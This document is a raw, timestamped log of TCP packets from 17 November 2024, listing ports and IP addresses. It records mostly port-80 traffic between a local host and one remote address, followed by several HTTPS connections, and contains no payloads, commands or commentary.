Nov 17, 2024 10:07:41.487900972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487911940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487921000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487926006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.487931967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487943888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487948895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.487956047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.487994909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488028049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488111019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488123894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488133907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488146067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488152027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488159895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488164902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488181114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488221884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488221884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488228083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488249063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488260031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488270998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488289118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488290071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488289118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488305092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488316059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488326073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488332033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488339901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488351107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488362074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488373041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488383055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488403082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488413095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488413095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488423109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488434076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488440990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488440990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488441944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488441944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488454103 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488467932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488471985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488480091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488492012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488492012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488503933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488514900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488514900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488527060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488537073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488547087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488559008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488568068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488589048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488605022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488624096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488637924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488647938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488657951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488676071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488686085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488697052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488697052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488697052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488709927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488723040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488723040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488734961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488746881 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488756895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488756895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488769054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488776922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488781929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488795996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488802910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488820076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488822937 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488831997 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488842964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488853931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488861084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488866091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488878965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488878965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488903046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488910913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488923073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488925934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488934040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.488971949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.488971949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489053011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489063978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489069939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489155054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489198923 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489212990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489223003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489233017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489247084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489258051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489301920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489301920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489312887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489325047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489336014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489367962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489381075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489391088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489398956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489424944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489433050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489445925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489449024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489484072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489495993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489501953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489509106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489509106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489516020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489556074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489588976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489597082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489610910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489623070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489634991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489648104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489650011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489687920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489700079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489710093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.489717007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489717007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489758015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489758015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.489989042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490000963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490012884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490066051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490109921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490122080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490143061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490154028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490164042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490170002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490175009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490180969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490186930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490190029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490190029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490197897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490211010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490223885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490236998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490243912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490272999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490282059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490286112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490298033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490303040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490325928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490349054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490360975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490361929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490374088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490405083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490436077 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490500927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490514040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490524054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490534067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490546942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490619898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490621090 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490644932 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490655899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490665913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490685940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490686893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490705013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490715981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490716934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490736961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490748882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490751028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490761042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490772963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490772009 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490786076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490799904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490808964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490819931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490822077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490828037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490834951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490839005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490854025 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490866899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490875959 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490878105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.490899086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.490919113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491118908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491137028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491147995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491158009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491169930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491175890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491182089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491193056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491202116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491203070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491215944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491220951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491230011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491239071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491244078 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491280079 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491311073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491486073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491527081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491538048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491569042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491597891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491715908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491728067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491738081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491748095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491760015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491770029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491776943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491780996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491808891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491812944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491812944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491821051 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491832972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491838932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491846085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491856098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491862059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491867065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491879940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491888046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491889954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491904020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491906881 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491914988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491928101 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491929054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.491950989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.491966963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.495739937 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.495794058 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.495959044 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.496006966 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.501454115 CET	49957	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.501462936 CET	443	49957	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.521636963 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.524243116 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:41.525024891 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.525036097 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.526006937 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:41.526019096 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:41.526071072 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.526124954 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.528801918 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.528862953 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.528984070 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.529616117 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:41.529670000 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:41.530889034 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.530899048 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.532335043 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.532414913 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.532744884 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:41.532917976 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:41.533044100 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.533123016 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.566462040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.571329117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.579000950 CET	49968	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:41.579008102 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:41.579008102 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.579029083 CET	443	49972	23.198.7.180	192.168.2.6
Nov 17, 2024 10:07:41.579036951 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.579066038 CET	443	49968	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:41.594343901 CET	49969	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:41.594345093 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.594352961 CET	443	49969	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:41.594355106 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:41.687031984 CET	49972	443	192.168.2.6	23.198.7.180
Nov 17, 2024 10:07:41.687163115 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.687174082 CET	49968	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:41.703468084 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.703505039 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.703911066 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.704528093 CET	49983	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.704546928 CET	443	49983	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.771289110 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.771656990 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.771667957 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.772013903 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.772416115 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.772483110 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.772639036 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.779261112 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.780293941 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.780304909 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.780713081 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.781058073 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.781146049 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.781505108 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.781505108 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.781537056 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.795510054 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.800015926 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.800029993 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.800293922 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:41.800399065 CET	49969	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:41.801162004 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.801239967 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.802023888 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.802093983 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.802267075 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.802275896 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.802314043 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.802356958 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.815334082 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.842967033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.842978001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.842991114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843034983 CET	49892	80	192.168.2.6	185.215.113.206
